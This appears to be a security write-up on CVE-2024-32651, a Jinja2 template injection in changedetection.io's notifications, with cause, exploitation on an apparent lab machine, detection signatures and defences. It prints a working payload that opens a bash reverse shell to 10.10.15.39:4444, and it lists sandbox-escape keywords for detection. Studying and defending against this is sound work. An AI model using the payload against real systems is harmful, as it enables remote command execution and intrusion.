the_open_door
coffee
ESEN
← Back to index

changedetection.io SSTI (CVE-2024-32651)

changedetection.io is a web app (Python/Flask) that watches pages and alerts when they change. CVE-2024-32651 is a server-side template injection (SSTI) in its notification system: the notification body is rendered with Jinja2 without sandboxing, so an authenticated user can inject a template expression that gets evaluated on the server and ends in remote command execution. It affects versions up to and including 0.45.20.

Why it happens. Jinja2 expands {{ ... }} by evaluating Python objects. If user input reaches a Jinja render unsanitized, you can navigate from any object up to Python's builtins and from there import os and run commands. It's the classic template injection pattern applied to the notification engine.

Practical exploitation. The requirement is being authenticated (on Trickster, by reusing an already-recovered password: credential reuse). You configure a notification and put the SSTI payload in its body; sending a test notification (Send test notification) makes the server render it and run the command. A typical payload opens a reverse shell:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.15.39/4444 0>&1"').read() }}

The watched URL can point back at the attacker (post://10.10.15.39/4444/test) to force the notification to fire. The resulting shell runs with changedetection's privileges; if the app runs in Docker, it usually lands as root inside the container, opening up enumeration of container artifacts (backups, the datastore) to keep escalating.

How to detect it. The application signature is a notification whose body contains sandbox-escape Jinja2 syntax ({{, __globals__, __builtins__, __import__('os'), popen), which no legitimate notification template uses. The confirmation is process lineage: the changedetection process (python/gunicorn, often root inside the Docker container) spawning sh/bash/popen as a child when sending a test notification. An outbound connection from the container after a Send test notification closes the chain.

Defence. Update to a version newer than 0.45.20. In general, don't render user input with Jinja2 without a sandboxed environment or, better, use templates with literal substitution instead of evaluation. Related to command injection (the render ends up running a system command).

Machines where it's used